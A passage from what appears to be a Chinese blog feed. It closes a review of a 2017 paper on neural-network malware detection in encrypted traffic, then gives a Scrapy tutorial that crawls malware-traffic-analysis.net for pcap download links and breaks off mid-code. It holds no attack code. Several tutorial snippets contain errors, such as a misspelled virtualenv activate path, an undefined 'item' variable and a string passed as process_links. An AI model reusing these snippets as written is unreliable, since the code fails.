Features)</h2><p>文章提到，每条流都会包含IP地址，对于大多数HTTPS请求来说，主机域名是可视的，且IP地址也会包含在主机域名字符串中。文章选择从主机域名中提取出一些特征。</p><h3 id="工程特征（Engineered-Features）"><a href="#工程特征（Engineered-Features）" class="headerlink" title="工程特征（Engineered Features）"></a>工程特征（Engineered Features）</h3><p>这里作者参考了由Franc在其论文中提出的60种针对URL字符串的特征，包括：元音变化比例、域名与子域名中个别字符的最大出现率，不含元音的最长子串，非base64编码的字符串，non-letter类型字符出现率，等等。作者选择把这60种特征全都提出作为自己的建模特征。</p><h3 id="字符的n-gram特征（Character-n-gram-Features）"><a href="#字符的n-gram特征（Character-n-gram-Features）" class="headerlink" title="字符的n-gram特征（Character n-gram Features）"></a>字符的n-gram特征（Character n-gram Features）</h3><p>n-gram是一种自然语言处理算法，在文章中，其将域名字符串分解为若干重叠字符串，每个分解出来的gram称为一个特征。n-gram的具体应用可以参考 <a href="https://blog.csdn.net/baimafujinji/article/details/51281816" target="_blank" rel="external">自然语言处理中的N-Gram模型详解</a>，我这里只做简单的讲解。</p><p>举例：”example”在n-gram下分解出特征：</p><pre><code>2-gram：&quot;ex&quot; &quot;xa&quot; &quot;am&quot; &quot;mp&quot; &quot;pl&quot; &quot;le&quot;3-gram：&quot;exa&quot; &quot;xam&quot; &quot;amp&quot; &quot;mpl&quot; &quot;ple&quot;4-gram：&quot;exam&quot; &quot;xamp&quot; &quot;ampl&quot; &quot;mple&quot;</code></pre><p>假设使用2-gram，新输入的字符串中命中特征的标记为1，未命中标记为0。例如输入的字符串为”apple”,经过分解为：</p><pre><code>&quot;ap&quot; &quot;pp&quot; &quot;pl&quot; &quot;le&quot; (命中了pl和le)因此最终得到的向量为[0,0,0,0,1,1]，接下来可能根据不同的权重计算出一个分数值来。</code></pre><p>可以看到”ap”和”pp”不在特征中，这是因为数据集太小，当训数据集足够大，特征基本上都会被采集。</p><p>文章提到，通过提取，在2-gram下一共得到了1,583个特征，3-gram下一共得到了54,436个特征，4-gram下得到了1,243,285个特征。由于3-gram和4-gram给机器带来了太大的计算负担，于是作者最终选择了2-gram提取的特征。</p><h3 id="神经域名特征（Neural-Domain-Name-Feature）"><a href="#神经域名特征（Neural-Domain-Name-Feature）" class="headerlink" title="神经域名特征（Neural Domain-Name Feature）"></a>神经域名特征（Neural Domain-Name Feature）</h3><p>神经语言模型(Neural language models)：为了弥补N-gram在相似单词编码上的漏洞。<br>神经嵌入(Neural embedding)：为了降低高维度的特征数量灾难。<br>连续词袋结构(Continuous bag-of-words architecture):</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xs/xs7.jpg" alt="xs7"></p><p>输入层为独热编码（one-hot code），n-gram的n为3，一共使用了100个隐藏层（效果最佳），且输入层与隐藏层全连接。平均层(averaging layer)用于均衡所有隐藏单元的激活。</p><p>训练集：training data for domain-name features数据集中数据，Top500,000来自<em>alexa.com</em>。<br>输出：一个神经域名空间向量的表达式</p><h2 id="用户分类器"><a href="#用户分类器" class="headerlink" title="用户分类器"></a>用户分类器</h2><p>使用了LSTMs作为用户分类器，并以随机森林作为比较。每个LSTM单元拥有记忆细胞来存储推论，而后面的单元可能会调用这个记忆细胞，所以LSTMs可以在顺序输入中考虑长期依赖关系。</p><h2 id="小结-4"><a href="#小结-4" class="headerlink" title="小结"></a>小结</h2><p>这章就是专门用来介绍特征的，作者分了两类特征：流量特征和域名特征。流量特征是从数据流信息中提取的特征，域名特征是从主机域名中提取的特征。域名特征作者还预备了3种类型，分别是工程特征、n-gram特征与神经域名特征，作者在后面的实验里会比较这三种类型，然后选择最优秀的作为域名特征。</p><hr><h1 id="实验"><a href="#实验" class="headerlink" title="实验"></a>实验</h1><h2 id="主机域名特征选择"><a href="#主机域名特征选择" class="headerlink" title="主机域名特征选择"></a>主机域名特征选择</h2><p>在特征章节中，一共提出了3种类型的特征：<strong>工程特征</strong>、<strong>n-gram特征</strong>以及<strong>神经域名特征</strong>。<br>在第一个实验中，主要是对这种类型的特征进行比较，从而挑选出最好的一种进行接下来的实验。</p><p>数据集：860,268个良性（negative）域名与1,927个恶意（positive）域名。<br>这里的数据集文章并没有说明其采集来源，根据推测应该是一些公开网络资源，其在采集后打标签的标准：</p><ul><li>被恶意软件调用比被良性软件调用更频繁 ——&gt; 标记为positive</li><li>被良性软件调用比被恶意软件调用更频繁 ——&gt; 标记为negative</li></ul><p>文章提到，有一部分域名（大约3,490个）同时被恶意软件和良性软件频繁调用，这里大部分都是为了恶意目的而注册的域名，而少部分是一些标准服务（google地图，wordpress的api等）。</p><p>训练集：75%的数据<br>测试集：25%的数据<br>（训练集和测试集完全独立，中间没有任何重复的数据。）<br>机器学习算法 ：随机森林（Random Forest）<br>实验结果：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xs/xs8.png" alt="xs8"> </p><p>可以看到，在各查准率标准下，使用Nerual（神经域名特征）的查全率都是最高的。本章还提到Nerual到达次数据是在神经语言模型的参数调整到最佳的情况下完成的：初始n-gram的n为6，平均4个相邻字符取一个gram，最终的空间向量表达维数设为100。文章表示接下来的实验会用神经域名特征。</p><p>实验还对实验结果进行了更深层的分析，我们知道，随机森林最终分类标准是由其中的所有决策树投票决定的，因此每次分类都会有一个百分比分数值。研究发现恶意分数为0的都完全安全域名，恶意分数低的域名包括中小企业域名，博客，学校学院主页，游戏网站，Google子域名以及政府部门，而恶意分数高的域名包括纯数字IP地址，云服务，YouTube和Facebook内容传输网络的子域名，没有主机可见内容和一看就是为了恶意目的注册的域名。文章列举了恶意分值最高的域名：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xs/xs9.png" alt="xs9"></p><h2 id="算法与特征种类选择"><a href="#算法与特征种类选择" class="headerlink" title="算法与特征种类选择"></a>算法与特征种类选择</h2><p>在经过第一个实验后，域名特征已经确定为神经域名特征。在第二个实验里，文章要比较两种机器学习算法（LSTMs和RF）哪个效果更好，流量特征以及域名特征哪个效果更好。<br>实验数据集：current data<br>实验方法：十折交叉验证<br>实验结果：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xs/xs10.png" alt="xs10"><br>（图中n代表Neural特征，f代表flow特征）</p><p>可以从图中看到，单独使用流量特征时，两种算法的表现都很差，而使用组合特征（n+f）时，两种算法的表现都是己方表现最优秀的。而对实验结果来说，LSTM +（n+f）明显是表现最好的那一种，因此接下来的实验只使用LSTM算法加上两种特征类型的组合。</p><h2 id="恶意软件进化识别"><a href="#恶意软件进化识别" class="headerlink" title="恶意软件进化识别"></a>恶意软件进化识别</h2><p>在上面两个实验中，最终选择的算法与特征。第三个实验将对所建立的机器学习模型的预测能力进行评估。<br>实验数据集：future data<br>实验方法：使用current data作为数据集，LSTM作为机器学习算法，流量特征+域名特征作为最终特征进行训练，得到识别模型，然后用future data中的数据作为测试集来测试模型的预测性。<br>实验结果：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xs/xs11.png" alt="xs11"></p><p>图中的两条曲线，一条是使用current data数据集的十折交叉验证运算出的对比曲线，另一条是用future data 实验出的测试数据。在文章的解释中，由于随着时间和公司的变化，恶意软件的流行度也在不断变化，所以回调率曲线的差异不能说明决策函数的恶化。而从ROC曲线可以看出，其实决策函数的恶化程度很小。（对于这个解释，我表示质疑，毕竟深度学习拥有一定的不可解释性，所以感觉这里有强行解释的嫌疑）</p><h2 id="恶意软件家族识别"><a href="#恶意软件家族识别" class="headerlink" title="恶意软件家族识别"></a>恶意软件家族识别</h2><p>这个是研究进行的第四个实验，其实实验内容和第三个实验差不多，数据集什么的都差不多，只是关注点不同。第四次实验着眼而对不同恶意软件家族的识别效果，实验效果如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xs/xs12.png" alt="xs12"></p><p>文章解释说，个别组的数据实例太少，所以Precision-recall中的曲线不能直接比较，意义不大（=。=！！无语了，又是这个解释，那你画这个图干啥）。在ROC曲线中可以看到，决策函数对于大部分的恶意软件家族的识别曲线具有一定相似性，文章还解释了ROC中那条诡异的黄色折线，说是因为只有7个实例才会这样。</p><h2 id="平均检测时间"><a href="#平均检测时间" class="headerlink" title="平均检测时间"></a>平均检测时间</h2><p>这是最后一个实验，研究的是在不同阈值T下，恶意软件产生第一个流量到被识别出来的时间间隔。这里应该是将训练好的模型放入实际环境进行测试了，实验结果如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/xs/xs13.png" alt="xs13"></p><p>平均时间长大约是90min。</p><hr><h1 id="结束"><a href="#结束" class="headerlink" title="结束"></a>结束</h1><p>对文章进行一个总结，首先使用神经语言模型将域名转化成了一个低维度的特征表达式，而经过实验证实这种特征方式比其他两种域名特征方式更优秀。为了给数据打标签，文章借助了由VirusTotal.com提供的恶意软件检测接口，并在多个月后对数据的标签进行了复检。<br>文章比较了LSTMs算法与随机森林算法建立的模型性能，发现LSTM的性能更加优秀，且将域名特征和流量特征结合后的特征明显优于这两种独立特征。实验显示文章提出的模型对未知的恶意软件有不错的识别率，且涵盖不同的恶意软件家族，实际环境中识别的时间间隔大约为90min。</p><hr><p>WhiteRabbit评论：</p><p>该文章来源于顶会论文集，水平层面确实很高。其实这篇文章的优点和缺点我都在上文中表达出来了。<br>对我来说，其中最值得借鉴的地方在于其评估实验的方式：Precision-recall图和ROC图，感觉以后我写的论文可以借鉴这种评估方式，看起来很高大上。然后实验的方式也很值得借鉴，这种有节奏地比较并按顺序进行的实验方式可以让实验逻辑性很高。其实，在实验多走一步的思路也值得思考，比如第一次实验中对恶意域名分值的深一步分析，列举出最高分的几个域名。实际上这里的研究并没啥意义，对文章实验的研究也没什么意义，不过可以感觉的是，这样一写就能明显让人相信你是认真做了实验的，实验的可信度得到提升。由于是顶会的论文，技术啊，思想啊什么的我就不说，肯定是很牛掰的，根本不用我夸，而这篇文章对于我论文的写作借鉴意义比那些更大。<br>不过文章也是存在着一些问题，比如来自Precision-recall图的怨念，强行解释其为什么没用，我想是不是直接删了更好？还有一些地方，文章并没有解释清楚，上文你们能看得那么顺畅是因为其中加入了我的一些推测，比如<em>training data for domain-name features</em>这个数据集怎么来的根本没讲啊，还有最后那个实验的时间数据是在什么环境下得到的也没说，以及那个神经域名特征最后的空间向量表达式到底长啥样也不知道。还有文章的结构也是迷，主要还是标题的迷惑性太大，第二章我以为是讲日志分析的，讲着讲着讲着蹦出个算法说明；第三章我以为是介绍实验和操作环境的，结果变成了数据收集以及分析；第四章我以为是在用户恶意软件检测时出现的问题，结果全章给我讲评估方法。第五章也是讲特征，讲着讲着蹦出个分类器。所以文章的结构对于第一次阅读的人真的很不友好，说实话我一共看了4遍才吃透了这篇文章，看看停停了很久才写出篇文章，希望能给于流量研究领域的同行们一些微薄的帮助。拜拜，改论文去啦<del>~</del></p><p>文章作者：WhiteRabbit<br>来源：blog.whiterabbitxyj.com<br>转载请标注原文和作者。</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;论文：Malware Detection By Analysing Encrypted Network Traffic with Neural Networks&lt;br&gt;作者：Prasse, Paul; Machlica, Lukáš; Pevný, Tomáš; Havelka, Jiří; Scheffer, Tobias&lt;br&gt;地区：欧洲，德国&lt;br&gt;时间：2017&lt;br&gt;来源：EI&lt;/p&gt;
    
    </summary>
    
    
      <category term="学术" scheme="http://yoursite.com/tags/%E5%AD%A6%E6%9C%AF/"/>
    
      <category term="论文" scheme="http://yoursite.com/tags/%E8%AE%BA%E6%96%87/"/>
    
  </entry>
  
  <entry>
    <title>从零开始接触Scrapy爬虫框架到构建一个通用实用型模板</title>
    <link href="http://yoursite.com/2018/07/09/scrapy/"/>
    <id>http://yoursite.com/2018/07/09/scrapy/</id>
    <published>2018-07-09T03:39:32.000Z</published>
    <updated>2018-12-13T12:40:29.574Z</updated>
    
    <content type="html"><![CDATA[<p>爬虫是网络信息收集最重要的工具之一，而我之前一直都用自己手写的爬虫，感觉挺好用也一直没学爬虫框架。由于研究需要，最近又要接触爬虫，于是索性学了一下爬虫框架Scrapy，看看为什么这么多人支持该框架，他又给我们编写爬虫带来了哪些便捷。</p><a id="more"></a><h1 id="Scrapy简介"><a href="#Scrapy简介" class="headerlink" title="Scrapy简介"></a>Scrapy简介</h1><p>Scrapy是一个为了爬取网站数据，提取结构性数据而编写的应用框架。可以应用在包括数据挖掘，信息处理或存储历史数据等一系列的程序中。其最初是为了 页面抓取 (更确切来说, 网络抓取 )所设计的， 也可以应用在获取API所返回的数据(例如 Amazon Associates Web Services ) 或者通用的网络爬虫。</p><h2 id="Scrapy的安装"><a href="#Scrapy的安装" class="headerlink" title="Scrapy的安装"></a>Scrapy的安装</h2><p>Scrapy是基于python实现的，因此推荐使用pip安装，具体语句参考：</p><pre><code>sudo pip install virtualenv  #安装虚拟环境工具virtualenv ENV  #创建一个虚拟环境目录source ./ENV/bin/active  #激活虚拟环境pip install Scrapy</code></pre><h2 id="Scrapy整体架构"><a href="#Scrapy整体架构" class="headerlink" title="Scrapy整体架构"></a>Scrapy整体架构</h2><p><img src="http://picture.whiterabbitxyj.com/blogPicture/scrapy/scrapy-1.jpg" alt="scrapy-1"></p><p>Scrapy由5个部分构成，分别是：<br>（1）Scrapy Engine，引擎，相当于整个爬虫框架的大脑，其连接着其他四个模块，控制着整个框架的数据流动、指令触发事件等等。<br>（2）Spiders，爬虫，这是由用户自己实现的部分，需要注意的是，在一个爬虫框架中可以存在很多爬虫，而每个爬虫都负责处理某个或某几个特定网站。<br>（3）Scheduler，调度器，负责管理由spider发起的request请求，将其入队，当引擎请求时将其传递。<br>（4）Downloader，下载器，负责获取页面数据并提供给引擎，而后提供给spider。<br>（5）Item Pipeline，管道，当页面被爬虫解析所需的数据存入Item后，将被发送到项目管道，并经过几个特定的次序处理数据，最后存入本地文件或存入数据库。</p><p>而一个完整的流程大概是这样的：Spider从自己的url列表中取出要爬取的url，将request请求传递给Scheduler，调度器经过调度将请求传递给Downlader，下载器会将整个页面的数据下载下来，并封装成应答包(Response)，再回传给Spiders，爬虫将下载的数据整理为Item数据类型，最后交给Pipeline保存。整个过程中，引擎处理着每个模块之间的交互和数据流动，而调度器一般在多个爬虫同时传递request请求时才显现出其重要性。</p><p>其实在框架图中可以看到，还存在两个中间件：Downloader middlewares（下载中间件）和Spider middlewares（爬虫中间件），这两个中间件并不影响整个框架的运行，其为用户自定义的模块，可以不实现，而其存在的意义在于扩展Scrapy功能，比如IP代理池等等。</p><h2 id="Sracpy代码目录结构"><a href="#Sracpy代码目录结构" class="headerlink" title="Sracpy代码目录结构"></a>Sracpy代码目录结构</h2><p>在编写爬虫前需要知道的是，模块中Engine、Scheduler、Downloader是Scrapy自己实现的，并不需要我们去编写，我们需要实现的是Spiders和Item Pipeline。</p><p>首先，使用命令创建一个Scrapy项目:</p><pre><code>scrapy startproject malware</code></pre><p>上面的命令会生成一个目录，目录结构如下：</p><pre><code>malware/    scrapy.cfg              #包含着整个项目的配置    malware/                   __init__.py             items.py            #Spiders的Item，定义了要存储数据的数据结构        pipelines.py        #Item Pipeline的实现，处理Spider传递的Item        settings.py         #Spider的设置文件        spiders/            #存放着所有的Spider            __init__.py            ...</code></pre><h1 id="从零开始写第一个爬虫"><a href="#从零开始写第一个爬虫" class="headerlink" title="从零开始写第一个爬虫"></a>从零开始写第一个爬虫</h1><h2 id="1-定义Item"><a href="#1-定义Item" class="headerlink" title="1. 定义Item"></a>1. 定义Item</h2><p>写爬虫的第一步，先确定你要爬取数据的结构，Items是将要装载抓取的数据的容器，它工作方式像 python 里面的字典。以malware-traffic-analysis.net为例，我想要抓取他们主页的信息，包括url，title，name，那么定义如下：</p><pre><code>from scrapy.item import Item, Fieldclass MalwareItem(Item):    name = Field()  #存储站点名    title = Field() #存储主页标题    url = Field()   #存储url</code></pre><p>很简单的代码，但是这个Item会被Spider调用作为存储数据的容器并传递给管道，最后在管道中处理。</p><h2 id="2-编写Spider"><a href="#2-编写Spider" class="headerlink" title="2. 编写Spider"></a>2. 编写Spider</h2><p>spider是由用户自编写的爬虫具体实现代码，其中定义了初始url，如何跟踪链接，如何解析网站数据等等，一个简单的demo如下，首先我们在spiders目录中新建一个文件名为malware_spider的python文件，然后输入代码如下：</p><pre><code>import scrapyclass malwareSpider(scrapy.Spider):    name = &quot;malware&quot;    allowed_domains = [&quot;malware-traffic-analysis.net&quot;]    start_urls = [        &apos;http://www.malware-traffic-analysis.net/2018/index.html&apos;    ]    def parse(self, response):        filename = response.url.split(&quot;/&quot;)[-2]        with open(filename, &apos;wb&apos;) as f:            f.write(response.body)</code></pre><p>简单解释一下上面的demo，首先定义了一个类去继承Spider类，并在这个类中实现具体的爬虫功能，其中参数解释如下：<br>（1）name：爬虫的名字，在启动爬虫的时候需要用到<br>（2）allowed_domains：爬虫可行域，定义了爬虫允许的爬取域<br>（3）start_urls：定义了初始url的列表，爬虫会依次爬取<br>而对于parse函数，这是Spider类中最重要的一个函数，其是一个回调函数，在每个下载器完成下载后，会将数据内容封装成一个Response，并将其传递给parse函数进行处理。在上面的demo中，parse就进行了一个简单的处理，截取url内容并以此为名保存在本地。我们在爬虫根目录使用下列命令启动爬虫看看效果：</p><pre><code>scrapy crawl malware</code></pre><p>主要注意的是，本命令需要在根目录执行，就是存在<strong>scrapy.cfg</strong>文件的目录，且最后一个参数是你爬虫的名字，如我定义的爬虫名字（name）就是malware，爬虫运行过程如下:</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/scrapy/scrapy-2.png" alt="scrapy-2"></p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/scrapy/scrapy-3.png" alt="scrapy-3"></p><h2 id="3-在Spider中使用Item"><a href="#3-在Spider中使用Item" class="headerlink" title="3. 在Spider中使用Item"></a>3. 在Spider中使用Item</h2><p>在上面的例子中我们成功定义了Spider并让其爬取数据并保存，但是这种方式显得很直接粗漏，因此我们使用之前定义Item类来作为存储数据的容器。</p><h3 id="3-1-提取数据"><a href="#3-1-提取数据" class="headerlink" title="3.1 提取数据"></a>3.1 提取数据</h3><p>在将提出的数据存入Item之前，我们需要知道如何从下载的内容中提取出我们需要的数据。首先，我们能够得到初始的数据内容为页面源码，大概长相如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/scrapy/scrapy-4.png" alt="scrapy-4"></p><p>为了更方便地从页面源码中提取数据，Scrapy提供一个Selector类来辅助数据提取。Selector类主要使用<strong>XPath</strong>和<strong>CSS表达式</strong>来进行数据提取，其可用的方法如下：</p><ul><li>xpath(): 返回selectors列表, 每一个selector表示一个xpath参数表达式选择的节点.</li><li>css(): 返回selectors列表, 每一个selector表示CSS参数表达式选择的节点</li><li>extract(): 返回一个unicode字符串，该字符串为XPath选择器返回的数据</li><li>re(): 返回unicode字符串列表，字符串作为参数由正则表达式提取出来</li></ul><p>由于本文是对html源码进行数据提取，因此使用XPath方法，而XPath的语法请参考：<a href="http://www.runoob.com/xpath/xpath-syntax.html" target="_blank" rel="external">XPath语法</a>，使用Selector类与XPath对上面的demo进行修改：</p><pre><code>import scrapyclass malwareSpider(scrapy.Spider):    name = &quot;malware&quot;    allowed_domains = [&quot;malware-traffic-analysis.net&quot;]    start_urls = [        &apos;http://www.malware-traffic-analysis.net/2018/index.html&apos;    ]    def parse(self, response):        sel = scrapy.Selector(response)        url = response.url        title = sel.xpath(&apos;//title/text()&apos;).extract() #抓取title内容        name = self.allowed_domains[0]</code></pre><h3 id="3-2-使用Item"><a href="#3-2-使用Item" class="headerlink" title="3.2 使用Item"></a>3.2 使用Item</h3><p>在上面的源码中，我们已经实现了数据的提取，现在我们要把它存储到Item类中，实现的具体代码如下：</p><pre><code>import scrapyfrom malware.items import MalwareItem class malwareSpider(scrapy.Spider):    name = &quot;malware&quot;    allowed_domains = [&quot;malware-traffic-analysis.net&quot;]    start_urls = [        &apos;http://www.malware-traffic-analysis.net/2018/index.html&apos;    ]    def parse(self, response):        sel = scrapy.Selector(response)        items = MalwareItem()        item[&apos;url&apos;] = response.url        item[&apos;title&apos;] = sel.xpath(&apos;//title/text()&apos;).extract()        item[&apos;name&apos;] = self.allowed_domains[0]        return item</code></pre><p>可以看到，我们调用了MalwareItem类，并将提取出的数据都存入了item容器中，最后将其返回。</p><h2 id="4-使用Item-Pipeline"><a href="#4-使用Item-Pipeline" class="headerlink" title="4. 使用Item Pipeline"></a>4. 使用Item Pipeline</h2><p>看到这里有些人会产生疑惑，上面的代码中，item被返回，那究竟返回到了哪呢？答案是Item Pipeline。值得一提的是，虽然Item Pipeline是五大模块之一，却并不是必须实现的模块，你可以直接在Spider的parse中直接进行数据存储等工作，且Spider默认状态下是关闭Item Pipeline的，你想要使用其必须在setting中加入一句代码来激活Item Pipeline：</p><pre><code>ITEM_PIPELINES = {&apos;malware.pipelines.MalwarePipeline&apos;: 1}</code></pre><p>虽然可以直接在Spider的parse中直接进行数据存储等操作，但本文建议使用Item Pipeline进行数据操作，这样能够使整个框架分工更加明确与合理。在Item Pipeline中处理数据的代码如下：</p><pre><code>class MalwarePipeline(object):    def process_item(self, item, spider):        filename = &quot;test&quot;        with open(filename, &apos;wb&apos;) as f:            f.write(item[&apos;url&apos;]+&apos;\n&apos;)            f.write(item[&apos;name&apos;]+&apos;\n&apos;)            f.write(item[&apos;title&apos;][0])        return item</code></pre><p>可以看到Pipeline主要运行函数是process_item，其会自动调用，而我们也主要在该函数中实现对数据的操作。上面的代码进行了一个简单的操作，新建一个test文件来存储从Spider传递过来的Item数据，运行的结果如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/scrapy/scrapy-5.png" alt="scrapy-5"></p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/scrapy/scrapy-6.png" alt="scrapy-6"></p><p>到这里，我们已经实现了一个完整的demo，从运行爬虫，抓取数据，提取数据最后处理数据。</p><h1 id="进阶——实现一个通用实用型爬虫模板"><a href="#进阶——实现一个通用实用型爬虫模板" class="headerlink" title="进阶——实现一个通用实用型爬虫模板"></a>进阶——实现一个通用实用型爬虫模板</h1><p>上面的教程我们已经实现了一个最初级的爬虫，并成功运行，但是也遗留下了许多问题。首先，上面的爬虫只实现了一个网页的爬取以及数据提取，对于我们来说，我们肯定无法满足对单一网页的爬取，身为爬虫必须有跟踪链接与管理url的能力。<br>大部分网上的实现代码都是使用迭代的思想来实现跟踪链接（参考<a href="https://www.cnblogs.com/lgh344902118/p/8565757.htmlpicture.whiterabbitxyj.com/blogPicture/scrapy/scrapy-6.png" target="_blank" rel="external">Here</a>），url的管理也要单独实现，由于下载器不会自动调用，我们需要使用request方法来触发并实现回调。这无疑是十分麻烦的，我们使用爬虫框架的目的就是为了简化代码，少写多能。<br>为了实现一个通用实用型爬虫模板，本文并不准备采用迭代来实现，而是使用CrawlSpider类来实现，由于其实现了自动管理url与跟踪，无疑简化了我们代码的实现。</p><h2 id="1-Item实现"><a href="#1-Item实现" class="headerlink" title="1. Item实现"></a>1. Item实现</h2><p>首先明确一下需要提取的数据，从malware-traffic-analysis.net站点的目录开始，跟踪每个页面，从页面中提取可以下载的pcap文件链接。因此，Item的定义如下：</p><pre><code>from scrapy.item import Item, Fieldclass MalwareItem(Item):    title = Field()    downloadurl = Field()    url = Field()</code></pre><h2 id="2-Item-Pipeline实现"><a href="#2-Item-Pipeline实现" class="headerlink" title="2. Item Pipeline实现"></a>2. Item Pipeline实现</h2><p>Item Pipeline中进行数据的保存，我将其保存在一个txt文件中，实际上可以进行更多操作。</p><pre><code>class MalwarePipeline(object):    def __init__(self):        self.file = open(&apos;malware.txt&apos;, mode=&apos;wb&apos;)    def process_item(self, item, spider):        self.file.write(item[&apos;title&apos;])        self.file.write(&quot;\n&quot;)        self.file.write(item[&apos;url&apos;])        self.file.write(&quot;\n&quot;)        self.file.write(item[&apos;downloadurl&apos;])        self.file.write(&quot;\n&quot;)        return item</code></pre><h2 id="3-CrawlSpider实现"><a href="#3-CrawlSpider实现" class="headerlink" title="3. CrawlSpider实现"></a>3. CrawlSpider实现</h2><p>在编写CrawlSipder前，我们先了解一下CrawlSpider是怎么进行url管理和跟踪的。CrawlSpider使用rules来定义抓取url的规则，其可以包含多个Rule对象，每个Rule对象对应一条规则。简单来说，CrawlSpider中定义了一个名为rules的属性，其中包含了许多规则，只要页面中有url命中了其中一条规则，就会被添加入待爬取的url列表，而CrawlSpider对于url的管理和去重等操作都是自动化的。<br>看一下目录中要跟踪url的结构：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/scrapy/scrapy-7.png" alt="scrapy-7"></p><p>大概是”日期+index.html”或”日期+index+数字.html”,所以写出规则：</p><pre><code>rules = [    Rule(LinkExtractor(allow=(&apos;\d{2}\/\d{2}\/index(\d)?\.html&apos;)),         callback=&apos;parse_item&apos;,         follow=True)]</code></pre><p>但是这里有个问题，我们可以发现我们抓取到的都是相对路径，对于相对路径，其实CrawlSpider会进行自动填充，但我们也可以自行定义url补充，这里用到了rules的<strong>process_links</strong>参数，具体优化如下：</p><pre><code> rules = [    Rule(LinkExtractor(allow=(&apos;\d{2}\/\d{2}\/index(\d)?\.html&apos;)),         callback=&apos;parse_item&apos;,         process_links = start_urls[0],         follow=True)]</code></pre><p>接下来查看一下需要爬取的文件路径源码：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/scrapy/scrapy-8.png" alt="scrapy-8"></p><p>因此，我们根据特征写出xpath语句：</p><pre><code>xpath(&apos;//ul/li/a[@class=&quot;menu_link&quot;]/@href&apos;)</code></pre><p>编写了url抓取规则和xpath的语句，我们接着编写CrawlSpider的总体代码，值得注意的是，CrawlSpider不能使用parse，不然rules规则会被覆盖，因此需要在rules中添加一个回调参数callback来替代parse，具体的实现代码如下：</p><pre><code>from scrapy.spiders import CrawlSpider, Rulefrom scrapy.linkextractors import LinkExtractorfrom scrapy.selector import Selectorfrom malware.items import MalwareItemclass malwareSpider(CrawlSpider):    name = &apos;malware&apos;    download_delay = 1    start_urls = [&apos;http://www.malware-traffic-analysis.net/2018/&apos;]    rules = [    Rule(LinkExtractor(allow=(&apos;\d{2}\/\d{2}\/index(\d)?\.html&apos;)),         callback=&apos;parse_item&apos;,         process_links = start_urls[0],         follow=True)    ]    #这是初始url的回调函数，这里我们不实现    def parse_start_url(self, response):        pass    def parse_item(self, response):        item = MalwareItem()        sel = Selector(response)        try:            item[&apos;title&apos;] = (sel.xpath(&apos;//title/text()&apos;).extract())[0]            item[&apos;url&apos;] = response.url            item[&apos;downloadurl&apos;] = (sel.xpath(&apos;//ul/li/a[@class=&quot;menu_link&quot;]/@href&apos;).extract())[1]            yield item        except:            pass</code></pre><p>在根目录下启动爬虫，爬虫能够成功运行并进行数据抓取：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/scrapy/scrapy-9.png" alt="scrapy-9"></p><h2 id="4-爬虫的优化与调整"><a href="#4-爬虫的优化与调整" class="headerlink" title="4. 爬虫的优化与调整"></a>4. 爬虫的优化与调整</h2><p>在完成上述代码后，依旧存在一些需要解决的问题，首先，源网站待爬取的数据一共有169条，却一共进行了174次爬取，查看记录文件后发现爬虫爬到其他域去了，因此在爬虫加上作用域的限制：</p><pre><code>allowed_domains = [&apos;malware-traffic-analysis.net&apos;]</code></pre><p>查看一下爬到其他域的原因，发现是规则不严谨造成的，于是优化规则内容，避免类似情况发生，Rule的allow是采用正则匹配，我们添加xpath来使规则更加完善，修改后的规则如下：</p><pre><code>rules = [    Rule(LinkExtractor(allow=(&apos;\d{2}\/\d{2}\/index(\d)?\.html&apos;), restrict_xpaths=(&apos;//ul/li/a[@href]&apos;)),         process_links = start_urls[0],         callback=&apos;parse_item&apos;,         follow=True)]</code></pre><p>即必须在ul/li/a的href属性中的链接才会被提取跟踪，修改后爬取结果如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/scrapy/scrapy-10.png" alt="scrapy-10"></p><p>虽然爬取规则正确了，但是查看存储的内容时发现，与预期出现了很大的偏差，主要是在downloadurl这一项上，预期认为总是列表的第二项，实际上许多地方出现了偏差，出现在了列表的第一项或第三项，于是我们需要优化数据筛选规则，使用单一的xpath并无法满足我们，于是我们调用re()方法来添加正则匹配：</p><pre><code>sel.xpath(&apos;//ul/li/a[@class=&quot;menu_link&quot;]/@href&apos;).re(&apos;(.)+\.pcap\.zip&apos;).extract()</code></pre><p>上面的代码在实际运行时报错，这里有一个坑，当我调用re()方法时，我下意识地认为这是一个添加正则规则的函数，后来我才re和extract不能同时调用，因为re已经相当于正则+extract。因为第一次接触Spider的人很容易犯这个错误，所以我在这里写出来。实际上，在xpath语法中结合正则表达是一个更好的选择，写法如下：</p><pre><code>sel.xpath(&apos;//ul/li/a[@class=&quot;menu_link&quot; and contains(@href, &quot;.pcap.zip&quot;)]/@href&apos;).extract()</code></pre><p>最后一个问题就是考虑到最后下载文件时需要一个完整的url，而我们抓到都是只是文件名，因此使用urljoin来拼接url，修改pipeline如下：</p><pre><code>import urlparseclass MalwarePipeline(object):    def __init__(self):        self.file = open(&apos;malware.txt&apos;, mode=&apos;wb&apos;)    def process_item(self, item, spider):        self.file.write(item[&apos;title&apos;])        self.file.write(&quot;\n&quot;)        self.file.write(item[&apos;url&apos;])        self.file.write(&quot;\n&quot;)        self.file.write(urlparse.urljoin(item[&apos;url&apos;], item[&apos;downloadurl&apos;]))        self.file.write(&quot;\n&quot;)        return item</code></pre><p>而修改后完整的爬虫Spider代码如下：</p><pre><code>from scrapy.spiders import CrawlSpider, Rulefrom scrapy.linkextractors import LinkExtractorfrom scrapy.selector import Selectorfrom malware.items import MalwareItemclass malwareSpider(CrawlSpider):    name = &apos;malware&apos;    download_delay = 1    allowed_domains = [&apos;malware-traffic-analysis.net&apos;]    start_urls = [&apos;http://www.malware-traffic-analysis.net/2018/&apos;]    rules = [        